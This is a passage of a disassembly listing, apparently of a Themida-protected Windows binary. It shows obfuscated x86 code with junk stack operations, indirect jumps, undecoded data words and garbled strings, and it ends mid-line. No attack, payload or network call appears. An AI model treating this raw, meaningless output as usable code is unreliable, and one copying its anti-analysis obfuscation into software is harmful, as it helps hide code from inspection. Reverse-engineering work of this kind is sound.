0E9000000h, 0FFFFD643h, 0BE243489h, 2, 2616E9h dd 0F7575900h, 0C15F241Ch, 0CF8708EFh, 0CF87D1F7h, 0FFCB0DE9h dd 4ED83FFh, 5C242C87h, 0FFC922E9h db 0FFh ; --------------------------------------------------------------------------- loc_5564A5: ; CODE XREF: Themida_:00556248j mov edi, esp add edi, 4 push ebx mov ebx, 4 sub edi, ebx pop ebx xchg edi, [esp] pop esp mov [esp], esi push 54FEh mov [esp], ebp mov ebp, 2A2D5DDCh sub esp, 4 mov [esp], edx mov edx, ebp mov esi, edx jmp loc_56472B ; --------------------------------------------------------------------------- dd 592434FFh, 81E38953h, 4C3h, 23E7E900h, 505D0000h, 42474FFh dd 24048F58h, 0E924248Bh, 6DFAh, 7565CDBDh, 8BEA0179h dd 0C481242Ch, 4, 0EC83DA01h, 240C8904h, 0B5CBE56h, 22E9354Fh dd 0FF000050h, 53582434h, 282F68h, 48F5400h, 24048124h dd 4, 5B2434FFh, 5504C483h, 2562E0BDh, 0A461E940h, 0EA810000h dd 4A950A66h, 2D5AD001h, 4183BBEh, 4BB535Fh, 52000000h dd 0D755F3BAh, 0E7FCE968h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55656A: ; CODE XREF: Themida_:00559D25j add ebx, eax jmp loc_56223E ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0EC810000h, 4, 0FFFEF3E9h db 0FFh ; --------------------------------------------------------------------------- loc_556585: ; CODE XREF: Themida_:00552D31j sub esi, 4 jmp loc_5506A9 ; --------------------------------------------------------------------------- db 0BEh, 47h, 17h dd 0F5295EAFh, 24FCE9h, 24895C00h, 24048124h, 4, 8451E9h dd 5DEF8900h, 68h, 24048100h, 61D32F65h, 0FF9230E9h, 4C483FFh dd 2474FF55h, 48F5D04h, 24248B24h, 83E38953h, 29E904ECh dd 6600008Dh, 5724048Bh, 0BA68E954h, 0C381FFFFh, 4, 4EB81h dd 1C870000h, 78E95C24h, 80FFFFE4h, 0FC882AEFh, 0FFB909E9h db 0FFh ; --------------------------------------------------------------------------- loc_556601: ; CODE XREF: Themida_:00558896j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add esi, edi push dword ptr [esp] jmp loc_562671 ; --------------------------------------------------------------------------- db 0E9h, 4Bh, 8Dh dd 0C608FFFFh, 0C6805866h, 8BF388D0h, 9E92414h, 890000C3h dd 4C181E1h, 68000000h, 2A60h, 0E9243C89h, 0FFFFE1C4h ; --------------------------------------------------------------------------- loc_556648: ; CODE XREF: Themida_:00562C09j pop ebp mov ebx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] xor [esp], eax jmp loc_54F36D ; --------------------------------------------------------------------------- loc_55665D: ; CODE XREF: Themida_:005643BBj inc ebx sub ebx, 0FC465BF7h add ebp, ebx jmp loc_5529C7 ; --------------------------------------------------------------------------- loc_55666B: ; CODE XREF: Themida_:00555527j sub esp, 4 mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_54F36D ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E99CC885h, 0FFFF8CD9h, 815FF889h, 0B8719AC1h, 81C10176h dd 0B8719AE9h, 0A088E976h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5566AA: ; CODE XREF: Themida_:00558D8Bj push ebp jmp loc_55A80F ; --------------------------------------------------------------------------- loc_5566B0: ; CODE XREF: Themida_:00561B40j push ecx jmp loc_56042A ; --------------------------------------------------------------------------- loc_5566B6: ; CODE XREF: Themida_:0055907Dj add esp, 4 jmp loc_54F98B ; --------------------------------------------------------------------------- db 0BFh, 81h, 24h dd 0EA817A38h, 6B96001Ah, 0C281FA01h, 6B96001Ah, 83243C8Bh dd 34FF04C4h, 8F99E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5566E2: ; CODE XREF: Themida_:005526E0j sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55BCB0 ; --------------------------------------------------------------------------- loc_5566F3: ; CODE XREF: Themida_:00558CC0j and ecx, esi push dword ptr [esp] jmp loc_55BCD5 ; --------------------------------------------------------------------------- db 52h, 57h, 0BFh dd 4052451Dh, 241C8757h, 0D86CE9h db 0 ; --------------------------------------------------------------------------- loc_55670D: ; CODE XREF: Themida_:00560430j mov edx, 137436h sub edx, 0DF0316D8h jmp loc_550E80 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 6416B850h, 484802F9h, 0E905E8C1h, 118Fh ; --------------------------------------------------------------------------- loc_556734: ; CODE XREF: Themida_:00558CFCj mov ebx, edi pop edi push ebp mov ebp, 1C1F364Dh add ebp, 1DE31A54h sub esp, 4 mov [esp], esi push ebp mov ebp, 7E4D002Ch jmp loc_563F35 ; --------------------------------------------------------------------------- dd 86CE8146h, 0C167D623h, 0C68107EEh, 644BA56Fh, 0E95EF509h dd 0FFFFA752h, 48BC289h, 4C48124h, 89000000h, 24148BD0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5540FE ; --------------------------------------------------------------------------- loc_556784: ; CODE XREF: Themida_:005543A9j not edi push ebx push eax mov eax, 1AFB507Fh jmp loc_551415 ; --------------------------------------------------------------------------- dw 3166h dd 3366241Ch, 3166241Ch, 5366241Ch, 242C8766h, 0E9D5F766h dd 0CFFDh, 30FFC331h, 0A5E4E9h, 24048B00h, 4C481h, 0AAE90000h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5567C3: ; CODE XREF: Themida_:0055BECDj pop edx push edi push eax jmp loc_5594FE ; --------------------------------------------------------------------------- db 57h dd 910B0EBFh, 0E283E962h, 0EA81FFFFh, 72941F64h, 0EE9525Fh dd 51FFFFDCh, 64B9E9h db 0 ; --------------------------------------------------------------------------- loc_5567E9: ; CODE XREF: Themida_:0055FE2Aj shr ebx, 6 jmp loc_55F9EB ; --------------------------------------------------------------------------- db 0BFh, 53h, 2Eh dd 0FD291CEFh, 0FFC599E9h db 0FFh ; --------------------------------------------------------------------------- loc_5567FD: ; CODE XREF: Themida_:005531A3j mov edx, [esp] push eax mov eax, esp jmp loc_551003 ; --------------------------------------------------------------------------- dd 0B5240C89h, 2EC839Ah, 4D5DE9h, 0E9E38900h, 5B14h, 0D828C0B3h dd 0FFF8A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_556825: ; CODE XREF: Themida_:0055CE81j pop ebx push 322Fh jmp loc_5555B2 ; --------------------------------------------------------------------------- loc_556830: ; CODE XREF: Themida_:0055A814j sub ebp, 563D4B73h sub ebp, esi add ebp, 563D4B73h mov esi, ebp pop ebp xor esi, 838D2FD2h add ebx, esi pop esi pop ecx and eax, ebx jmp loc_562D95 ; --------------------------------------------------------------------------- dw 0D0F7h dd 0FC7D3735h, 8BC68950h, 0C4812404h, 4, 2E5BE9h, 0C1DFF700h dd 535103E7h, 9233AABBh, 1BA7B970h, 0E981E542h, 68417F3Fh dd 0C181D901h, 68417F3Fh, 0F6E9815Bh, 4146F52Ch, 0FFB751E9h db 0FFh ; --------------------------------------------------------------------------- loc_556895: ; CODE XREF: Themida_:0055EC67j pop eax add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx push ebx mov bl, ch push ecx mov cl, bl mov dh, cl pop ecx pop ebx jmp loc_556986 ; --------------------------------------------------------------------------- db 89h dd 0F8E9243Ch, 0D000007Dh, 3F9CE9EDh, 0C8B0000h, 4C48124h dd 0E9000000h, 0FFFFC1A2h, 3304C583h, 2C31242Ch, 242C3324h dd 6CBAE9h, 0FDEA8100h, 8102CB7Dh, 9EABE4F2h, 5AD7294Ah dd 0F781D7F7h, 3054EB5Ch, 1C781h, 52E90000h, 0B9FFFFFFh dd 282F62FCh, 0FFF4B5E9h, 24048BFFh, 4C481h, 0B8500000h dd 2, 5658C601h, 42474FFh, 0FFCEC8E9h, 668168FFh, 14890000h dd 148B5424h, 4C48324h, 4C281h, 0BB530000h, 26E53F9Bh dd 7EB5E9h db 0 ; --------------------------------------------------------------------------- loc_55695D: ; CODE XREF: Themida_:00556AE0j xor [esp+4], ecx pop ecx pop ebx xor ebx, 7E8429CAh mov ecx, [esp] jmp loc_5545C2 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 4 dd 8904EC83h, 12BF243Ch, 31018B87h, 6466E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556986: ; CODE XREF: Themida_:005568C2j mov [edi+eax*4+1], dh jmp loc_55351C ; --------------------------------------------------------------------------- db 0FEh dd 5DCC80CCh, 0B1E9C4FEh, 58FFFFE9h, 3D19B850h, 25402A1Ch dd 32C2373Ch, 0C9C5E9h, 34FF5F00h, 0C4815B24h, 4, 4244481h dd 53B872B0h, 4244481h, 30C74870h, 4247C29h, 4246C81h dd 30C74870h, 529068h, 907AE900h, 0F5680000h, 89000013h dd 0C3BD242Ch, 680DF608h, 11E6h, 0FFCC3DE9h, 0B60F5CFFh dd 8734FFC0h, 646768h, 24048900h, 0C9138DB8h, 71B95144h dd 520A2E61h, 1934FABAh, 0E9D12916h, 1FF1h, 0EA815D5Fh dd 7CA810E8h, 362CE9h db 0 ; --------------------------------------------------------------------------- loc_556A29: ; CODE XREF: Themida_:0056092Bj push edi mov edi, 64EA5844h sub edi, 0F63D757Eh sub edx, 5FE0185Ah sub edx, edi add edx, 5FE0185Ah pop edi mov ecx, edx mov edx, [esp] add esp, 4 sub edi, ecx pop ecx jmp loc_552200 ; --------------------------------------------------------------------------- db 59h dd 0FFEEBEE9h, 0E1C149FFh, 8E1C102h, 0C105E9C1h, 0E98104E9h dd 3ED6AEh, 5659CA01h, 4BEh, 5EF22900h, 5C241487h, 31242C89h dd 34332434h, 24343124h, 0FDE9D6F7h, 0BA000011h, 4, 88E9D389h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556A9F: ; CODE XREF: Themida_:00559B93j push 5E96h mov [esp], edx xor [esp], edi jmp loc_563856 ; --------------------------------------------------------------------------- db 33h dd 248B243Ch, 0F9F76624h, 4315E9h db 0 ; --------------------------------------------------------------------------- loc_556ABD: ; CODE XREF: Themida_:0054F91Fj push 61E41C72h mov ecx, [esp] add esp, 4 xor ecx, 46A74EBFh sub esp, 4 mov [esp], ecx push ecx mov ecx, 7E8429CAh jmp loc_55695D ; --------------------------------------------------------------------------- loc_556AE5: ; CODE XREF: Themida_:0055EAD8j push edi mov edi, 1EE1FD5h sub edi, 9AE2A3F1h mov ebp, edi pop edi jmp loc_559846 ; --------------------------------------------------------------------------- loc_556AF9: ; CODE XREF: Themida_:00557590j push edi mov edi, 3B5832B0h jmp loc_55B83C ; --------------------------------------------------------------------------- dd 2206E581h, 0CD811140h, 1ECE5CFAh, 4587ED81h, 0EF01A9E4h dd 31A0E95Dh, 0F2680000h, 8900006Bh, 4812424h, 424h, 0D3E95800h dd 89FFFFB1h, 0EC832434h, 48F5404h, 24048324h, 0B1B6E904h dd 0D3890000h, 851E95Ah, 0BA520000h, 1BBC06EDh, 0FFA93CE9h dd 8BD828FFh, 8952241Ch, 4C281E2h, 56000000h, 4BEh, 5EF20100h dd 0E9241487h, 0FFFFC703h, 7D6C5ABBh, 0FFCCE90Dh, 15FFFFFh dd 2434FFDDh, 7EE9535Bh, 83000031h, 0CE2904C4h, 0FFBC6BE9h dd 81E2D1FFh, 1B4EFEC2h, 95BB530Fh, 816DBE4Ch, 5D53E8EBh dd 0A7EB8155h, 0F7388555h, 0F3814BD3h, 42B92534h, 0FF8BAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_556BC1: ; CODE XREF: Themida_:005601CAj mov [esp], eax push 6223h mov [esp], esp jmp loc_55F4E2 ; --------------------------------------------------------------------------- loc_556BD1: ; CODE XREF: Themida_:00560920j push 1F6Ch mov [esp], ebp push dword ptr [esp+4] jmp loc_560351 ; --------------------------------------------------------------------------- loc_556BE2: ; CODE XREF: Themida_:00554FD4j add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx jmp loc_553E51 ; --------------------------------------------------------------------------- dd 24048B66h, 6C1868h, 7106E900h, 5FB90000h, 816D197Eh dd 0C65196C1h, 4E9C137h, 7354E981h, 0E9C16A9Fh, 7E9C105h dd 0BB5EBD55h, 0E9311A16h, 0E9C8295Dh, 0A0DAh, 582434FFh dd 1FD468h, 240C8900h, 0A69DE9h, 4C48300h, 0FFD2CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_556C49: ; CODE XREF: Themida_:005607AEj mov dword ptr [edi+20h], 7E3C2308h sub [edi+20h], ecx mov ecx, [esp] jmp loc_5575EC ; --------------------------------------------------------------------------- db 29h dd 0E8015AD5h, 4055Dh, 0FF500000h, 58042474h, 8B24048Fh dd 0B9E92424h, 28FFFFC7h, 0BF73E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 sub ebp, edi pop edi jmp loc_562560 ; --------------------------------------------------------------------------- db 0ADh, 31h, 0D8h dd 0D9E95355h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C9F: ; CODE XREF: Themida_:00561A2Aj inc edi shr edi, 6 push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_551D54 ; --------------------------------------------------------------------------- db 83h, 0C2h, 2 dd 5C241487h, 4EC81h, 34890000h, 0D0BE6624h, 0EE81660Dh dd 0C166FB7Fh, 0EC8304E6h, 240C8904h, 4E8BB966h, 81664166h dd 660001C1h, 6523F181h, 75B86650h, 0E3356629h, 68665Dh dd 4296600h, 66586624h, 0E915C92Dh, 0A66Ch, 53E78957h dd 4BBh, 0FFDF0100h, 835B2434h, 0F8E904C4h, 5500001Ch dd 0EE9C2CBDh, 19EAE96Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_556D26: ; CODE XREF: Themida_:005522E1j xor edx, edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_560F3C ; --------------------------------------------------------------------------- dd 0F181D1F7h, 584F757Ch, 0D4C5E953h, 0C1680000h, 0E9416016h dd 0FFFFC67Bh, 5C9468h, 0EEE0E900h, 0FF54FFFFh, 0E95E2434h dd 0FFFFA494h, 4518EF81h, 0FB29F979h, 0E452E95Fh, 5266FFFFh dd 0D00056B2h, 30595A66h, 52A1E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556D86: ; CODE XREF: Themida_:0055E07Cj add [esp+4], edx pop edx push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_55B7EC ; --------------------------------------------------------------------------- dd 5753E689h, 6D26D2BFh, 1B4CBB05h, 0FB01002Ah, 0E9243C8Bh dd 0FFFFDBDCh, 6917DF68h, 0C7815F76h, 0C7415129h, 15FFD89h dd 505E5DE8h, 12E9E089h db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556DCF: ; CODE XREF: Themida_:005581C3j mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_54F36D ; --------------------------------------------------------------------------- dw 0C780h dd 5BF800DBh, 181B68h, 243C8900h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 0E950240Ch, 78Dh ; --------------------------------------------------------------------------- loc_556E08: ; CODE XREF: Themida_:00555D0Ej or dh, al pop eax push ax push ecx push edx mov dl, 51h sub dl, 7Ch inc dl or dl, 0C6h jmp loc_557DBB ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 83000000h, 1C8704C3h, 56535C24h, 827EE9h dd 2BA00h, 0D3890000h, 0CCC3E9h db 0 ; --------------------------------------------------------------------------- loc_556E41: ; CODE XREF: Themida_:0055A84Aj pop ebp and edi, 72A31A44h jmp loc_55ECBB ; --------------------------------------------------------------------------- aPs_0 db '[PéÆÅ',0 align 4 loc_556E54: ; CODE XREF: Themida_:0055F18Dj xor edx, ebp mov ebp, [esp] add esp, 4 add edx, 0E8F68DBh sub edx, 7B4C2205h sub edx, 3620E8Ch add edx, edi add edx, 3620E8Ch jmp loc_55DAA0 ; --------------------------------------------------------------------------- dw 2B68h dd 0E976DF57h, 0C30Eh ; --------------------------------------------------------------------------- loc_556E88: ; CODE XREF: Themida_:0055BB31j mov ebp, 36C8535Ch xor ebp, 37E10ECEh shr ebp, 5 xor ebp, 191616C1h xor ebp, 78F2151Bh or edx, ebp jmp loc_55862A ; --------------------------------------------------------------------------- db 5Ah, 59h, 0B6h dd 0AFB450A2h, 4EC81h, 0C890000h, 3007B124h, 0E60059CCh dd 99EBE9h, 69F68100h, 0E978F00Fh, 6EB4h, 4EC815Ch, 89000000h dd 6853243Ch, 21F33693h, 63C3815Bh, 0E918FA1Eh, 0FFFFD0E0h ; --------------------------------------------------------------------------- loc_556EEC: ; CODE XREF: Themida_:00552E1Dj sub ecx, 0D480C8AEh mov edi, ecx pop ecx add edx, 31FE5425h jmp loc_551E33 ; --------------------------------------------------------------------------- dd 9C2404D3h, 0FFAD85E9h, 240481FFh, 4, 6D2B685Eh, 14890000h dd 0A4BB5324h, 0BA51A51Bh, 0A4A39000h, 0D9E9DA29h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_556F2B: ; CODE XREF: Themida_:00552C73j mov ecx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], dx push ax pushf jmp loc_54F36D ; --------------------------------------------------------------------------- dw 489h dd 417DB824h, 4E9627Eh, 0BBFFFFB3h, 222500DDh, 268FF381h dd 0F1E92638h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556F67: ; CODE XREF: Themida_:00562383j add edi, eax sub edi, 4B12559Eh pop eax jmp loc_56127F ; --------------------------------------------------------------------------- loc_556F75: ; CODE XREF: Themida_:0055FBD8j mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push eax mov ah, dl push ebx push 23C7h mov [esp], ecx mov ch, ah push edx mov dl, ch mov bh, dl pop edx mov ecx, [esp] add esp, 4 push eax mov al, bh mov cl, al jmp loc_55B041 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 243C895Ch, 0BBE9E789h, 21FFFFFCh, 0C7F6E9C3h, 5EB40000h dd 8046C480h, 0DCF6F4ECh, 0E98BF480h, 0FFFFA1BFh ; --------------------------------------------------------------------------- loc_556FDC: ; CODE XREF: Themida_:0055FF53j push ebp mov ebp, 0E16709D6h sub edi, ebp jmp loc_556114 ; --------------------------------------------------------------------------- loc_556FE9: ; CODE XREF: Themida_:00557F9Aj mov ebp, 7FDB3586h add ebp, 0FFD51EFh and ebp, 2D353B88h sub ebp, 0A4FD9ED9h xor edx, ebp pop ebp jmp loc_55F17F ; --------------------------------------------------------------------------- dd 8704C183h, 815C240Ch, 4ECh, 242C8900h, 4BB53h, 0C0E90000h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_557023: ; CODE XREF: Themida_:0055D890j push ebp sub esp, 4 mov [esp], edx jmp loc_558C83 ; --------------------------------------------------------------------------- dw 34FFh dd 89505824h, 34FE9E0h, 8B660000h, 4C68240Ch, 89000041h dd 0E389241Ch, 0FFF591E9h, 815158FFh, 4ECh, 24248900h dd 4240483h, 53240C8Bh, 0C381E389h, 4, 0BAF8E9h, 48F5B00h dd 0C3315C24h, 614FBD55h, 0BF574865h, 22C25354h, 3C7ECF81h dd 336861AEh, 89000010h, 4CB9240Ch, 417B6536h, 3CBDE181h dd 0DCE92E0Eh, 810000BCh, 4C5h, 4ED8100h, 0E9000000h, 1B69h ; --------------------------------------------------------------------------- loc_5570B4: ; CODE XREF: Themida_:005585AEj xor bh, cl pop ecx xor dh, bh pop ebx sub al, dh pop edx push edx mov dh, 46h jmp loc_55998F ; --------------------------------------------------------------------------- db 0BDh, 84h, 5Ah dd 10E907FEh, 1FFFFF1h, 27CD05D0h, 255A4E85h, 31DD00B3h dd 0D37E0335h, 0E95D5031h, 0FFFFC680h, 0C381D301h, 113240C0h dd 0FFDAF8E9h, 0C1815DFFh, 2C310458h, 0E981F901h, 2C310458h dd 74FF515Fh, 1BE90424h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55710F: ; CODE XREF: Themida_:00553517j push eax mov eax, esp add eax, 4 push ecx mov ecx, 2A126192h sub ecx, 34BE1B59h shl ecx, 6 sub ecx, 18B6F56h shr ecx, 7 xor ecx, 0A70C3Fh add eax, ecx pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push cx push ebx mov bh, 8Eh mov ch, bh jmp loc_55BEE2 ; --------------------------------------------------------------------------- dw 0DD29h dd 62F1E9h, 2414F700h, 9EC1E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55715E: ; CODE XREF: Themida_:0055777Ej push dword ptr [esp] jmp loc_55861E ; --------------------------------------------------------------------------- dw 0C831h dd 0FEB95159h, 81302476h, 4ECh, 198DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55717A: ; CODE XREF: Themida_:0055E43Aj push edx jmp loc_55C940 ; --------------------------------------------------------------------------- loc_557180: ; CODE XREF: Themida_:0055356Bj sub esp, 4 mov [esp], ebp jmp loc_5575AA ; --------------------------------------------------------------------------- db 88h dd 58C388C8h, 2EE9DC88h, 21000011h, 0F7555EF5h, 2C8B2414h dd 4C48124h, 53000000h, 0EB5074BBh, 9290E94Dh, 34890000h dd 0F4685024h, 8B572842h, 0C4832404h, 4C373504h, 0EC8139BEh dd 4, 0E9242C89h, 0A2C9h, 3FD5CF81h, 14682CB0h, 89000044h dd 682434h, 5E000000h, 0F787FE29h, 0FFBF7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5571F1: ; CODE XREF: Themida_:0055238Ej push ecx jmp loc_55B9F4 ; --------------------------------------------------------------------------- db 68h dd 2D844F2Dh, 6E7C15Fh, 2186E9h, 0DEE95100h, 46FFFF97h dd 79646851h, 0EAE90000h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_557217: ; CODE XREF: Themida_:0055D9AEj mov [esp], edx jmp loc_550503 ; --------------------------------------------------------------------------- a_rsey db '_RéeY',0 align 2 dw 815Fh dd 0F407E3EFh, 2868E916h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557232: ; CODE XREF: Themida_:0055E5E8j mov al, 8Ah jmp loc_553D19 ; --------------------------------------------------------------------------- loc_557239: ; CODE XREF: Themida_:0055B99Aj pop eax add esp, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [edi+24h] loc_557246: ; CODE XREF: Themida_:00561F00j push ebx push 53CCh mov [esp], ebp mov ebp, 4C432317h sub esp, 4 mov [esp], ebx jmp loc_55A66A ; --------------------------------------------------------------------------- aIusgf db '‰î飔',0 dd 59CF0100h, 8704EF83h, 1AE9243Ch, 6800002Eh, 53C1h, 86B1E9h dd 92CB8100h, 8146EA15h, 0E266C1C3h, 0B8F38116h, 834E2208h dd 0EB8101EBh, 10EF94C6h, 0A537E9h, 4C78100h, 0E9000000h dd 0AA9Eh ; --------------------------------------------------------------------------- loc_5572AC: ; CODE XREF: Themida_:005621F5j add ebp, 4 jmp loc_55AB85 ; --------------------------------------------------------------------------- a_bBSsg db '_ÇB³(°éég',0 dw 5900h dd 0FFD92BE9h, 9DE951FFh db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5572CF: ; CODE XREF: Themida_:00552BA5j sub esi, 2DDE1FDDh pop ebp jmp loc_55FBCF ; --------------------------------------------------------------------------- loc_5572DB: ; CODE XREF: Themida_:0055739Aj mov eax, [esp] push 339Fh mov [esp], ebx push 275Bh jmp loc_555776 ; --------------------------------------------------------------------------- loc_5572F0: ; CODE XREF: Themida_:0055DD7Fj sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx mov edx, 1 jmp loc_563B7C ; --------------------------------------------------------------------------- loc_557307: ; CODE XREF: Themida_:00551E3Bj pop edi sub edx, 4 xor edx, [esp] jmp loc_55FEE2 ; --------------------------------------------------------------------------- loc_557316: ; CODE XREF: Themida_:0055D898j add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov bl, ah mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop ecx mov dl, bl jmp loc_55F298 ; --------------------------------------------------------------------------- loc_557341: ; CODE XREF: Themida_:005521DAj push esi jmp loc_563F55 ; --------------------------------------------------------------------------- loc_557347: ; CODE XREF: Themida_:0055B9A3j pop ebx add esp, 4 loc_55734B: ; CODE XREF: Themida_:0055CA21j push 5DFFh mov [esp], ebx jmp loc_5594B9 ; --------------------------------------------------------------------------- dd 240C8B66h, 5CAF6853h, 24890000h, 4BE5624h, 1000000h dd 5E042474h, 81241C8Bh, 4C4h, 35F76800h, 34890000h, 0BF575524h dd 50275377h, 6C0EE9h, 40500h, 0FBE90000h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557397: ; CODE XREF: Themida_:0055028Fj push dword ptr [edi+eax*4] jmp loc_5572DB ; --------------------------------------------------------------------------- db 68h dd 2DECh, 2A85E9h, 4C78100h, 81000000h, 4EFh, 243C8700h dd 2414895Ch, 3CE0E9h db 0 ; --------------------------------------------------------------------------- loc_5573C1: ; CODE XREF: Themida_:0055C4A7j mov edx, [esp] jmp loc_54FD9C ; --------------------------------------------------------------------------- loc_5573C9: ; CODE XREF: Themida_:0055E7D3j mov ebx, 4 sub ecx, ebx jmp loc_554FD9 ; --------------------------------------------------------------------------- loc_5573D5: ; CODE XREF: Themida_:005620E2j push dword ptr [esp+4] jmp loc_56102E ; --------------------------------------------------------------------------- dw 0F0B0h dd 6137E9h, 4BB5300h, 55000000h, 0FFF10FE9h, 0E9F000FFh dd 92BCh, 0EE81CE01h, 32CA0C7Fh, 4E95359h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557407: ; CODE XREF: Themida_:0056461Cj pop esi not ebx not ebx push 27FAh jmp loc_559082 ; --------------------------------------------------------------------------- a1XbFpSsy db '1ÂXÁ²fp',8,')Ñéèy',0 align 2 loc_557426: ; CODE XREF: Themida_:0055E1DDj xchg ebp, [esp] jmp loc_562E0F ; --------------------------------------------------------------------------- dw 0E3D1h dd 4F9ABA52h, 0D30178C2h, 0FFEB815Ah, 4BFFFFFFh, 2414F753h dd 0D6EB815Bh, 0E9E749B2h, 3037h, 4BAh, 8DEE8100h, 164D278h dd 8DC681D6h, 0E964D278h, 3D91h, 0F653D3F6h, 1C8B2414h dd 4C48324h, 4FE1E9h, 4E6C100h, 4606E6C1h, 3785EE81h, 18E908DFh dd 8100009Ah, 580CE2C3h, 0BA525523h, 70BF6A57h, 43D75EBDh dd 5AD529D3h, 2E07ED81h, 0EA0144CCh, 49EA815Dh, 29097546h dd 49C281DAh, 81097546h, 0B83F00EAh, 241C8B1Dh, 0E904C483h dd 0FFFFA002h, 712C68h, 243C8900h, 0FC5B91BFh, 4EC810Fh dd 89000000h, 0B5BB241Ch, 52129379h, 0CB5D4CBAh, 2153E905h dd 0E95B0000h, 0B5F8h, 52242C8Bh, 0FF9073E9h, 240C33FFh dd 24048F5Ch, 6624248Bh, 9C2424D3h, 0FF7E5CE9h, 0C8B66FFh dd 0CFEBE924h, 0D8290000h, 2848052Dh, 3570569h, 0C7E93778h dd 35000018h, 5EFF0344h, 0BE56D0F7h, 50CC41C9h, 2252CE81h dd 0DEF72050h, 5677B951h, 5EE95D96h, 0B80000CCh, 47777DDBh dd 5BE9D8F7h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557557: ; CODE XREF: Themida_:00558FE5j pop edx add esp, 4 or eax, eax jmp loc_557D50 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0E6h dd 2CFFFFC4h, 0E2895222h, 4BD55h, 0EA010000h, 73BB535Dh dd 0E947E101h, 3E95h, 5FE9D0F7h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55758B: ; CODE XREF: Themida_:0055165Aj mov ebp, 3F4663A7h jmp loc_556AF9 ; --------------------------------------------------------------------------- db 0B4h, 62h, 0C0h dd 0C4FE04E4h, 0E92BF480h, 51DEh ; --------------------------------------------------------------------------- loc_5575A4: ; CODE XREF: Themida_:00551409j push edx jmp loc_561620 ; --------------------------------------------------------------------------- loc_5575AA: ; CODE XREF: Themida_:00557186j push 4 jmp loc_550C3E ; --------------------------------------------------------------------------- dd 25F6E955h, 0E8010000h, 0FFB966E9h db 0FFh ; --------------------------------------------------------------------------- loc_5575C1: ; CODE XREF: Themida_:0054FA90j pop ebx sub ah, 77h mov ch, ah mov eax, [esp] add esp, 4 jmp loc_55B0D1 ; --------------------------------------------------------------------------- loc_5575D5: ; CODE XREF: Themida_:005617A5j push dword ptr [esp] pop edi add esp, 4 add ecx, ebp add ecx, 31211A7h pop ebp mov edx, ecx jmp loc_552877 ; --------------------------------------------------------------------------- loc_5575EC: ; CODE XREF: Themida_:00556C56j add esp, 4 loc_5575EF: ; CODE XREF: Themida_:00558B46j ; Themida_:0055B333j push dword ptr [esp] jmp loc_562E53 ; --------------------------------------------------------------------------- db 52h dd 9AF220BAh, 0E9D53164h, 7183h, 4C681h, 34870000h, 0EE015C24h dd 83242C8Bh, 343304C4h, 24343124h, 8B243433h, 89512424h dd 4C181E1h, 55000000h, 4BDh, 5DE90100h, 0E9240C87h, 0FFFFC123h dd 936EBFBDh, 23C58170h, 817CAD02h, 0CD7683EDh, 5BED8165h dd 18772FAh, 0E9535DEBh, 0FFFF7D4Bh ; --------------------------------------------------------------------------- loc_55765C: ; CODE XREF: Themida_:0055AB80j pop dword ptr [esp] mov esp, [esp] pop dword ptr [edi+24h] loc_557665: ; CODE XREF: 